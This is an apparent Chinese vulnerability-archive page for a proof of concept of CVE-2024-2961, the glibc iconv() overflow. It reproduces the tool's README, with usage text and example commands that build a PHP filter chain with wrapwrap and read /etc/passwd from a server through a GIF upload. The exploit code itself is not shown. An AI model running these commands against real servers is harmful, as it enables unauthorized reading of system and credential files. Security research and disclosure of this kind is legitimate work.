目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2024-2961 PoC — GNU C Library 安全漏洞

来源
关联漏洞
标题: GNU C Library 安全漏洞 (CVE-2024-2961)
Description:GNU C Library(glibc,libc6)是一种按照LGPL许可协议发布的开源免费的C语言编译程序。 GNU C Library 2.39 及之前版本存在安全漏洞,该漏洞源于 iconv() 函数可能会缓冲区溢出,导致应用程序崩溃或覆盖相邻变量。
Description
Uses CVE-2024-2961 to perform an arbitrary file read
介绍
# CVE-2024-2961
Uses CVE-2024-2961 to perform an arbitrary file read

## Usage

Use with [wrapwrap](https://github.com/ambionics/wrapwrap) for maximum potency.

```bash
usage: arbitrary-file-read.py [-h] -t TARGET -c CHAIN -ct CONTENT_TYPE [--prefix-len PREFIX_LEN] [--suffix-len SUFFIX_LEN]

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        The target URL (e.g. http://subdomain.vulnerable.tld) - Don't include any URL path component
  -c CHAIN, --chain CHAIN
                        The filepath of the chain file from wrapwrap (see: https://github.com/ambionics/wrapwrap)
  -ct CONTENT_TYPE, --content-type CONTENT_TYPE
                        The content type that your filter chain pretends to use
  --prefix-len PREFIX_LEN
                        The length of the PREFIX to remove from the file in the response. Ex to remove the "GIF89a\n" header use `--prefix-len 8
  --suffix-len SUFFIX_LEN
                        The length of the SUFFIX to remove from the file in the response
```

## Example (gif upload)

Here's an example of how you might use it with a file upload that accepts GIF images:

```bash
# run wrapwrap to get chain.txt file containing PHP filter chain
python3 wrapwrap.py /etc/passwd 'GIF89a\n' '' 999
# run this tool, providing chain.txt as an argument
python3 ./arbitrary-file-read.py -t 'http://vulnerable.tld' -c ./chain.txt -ct 'image/gif' --prefix-len 9
```

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →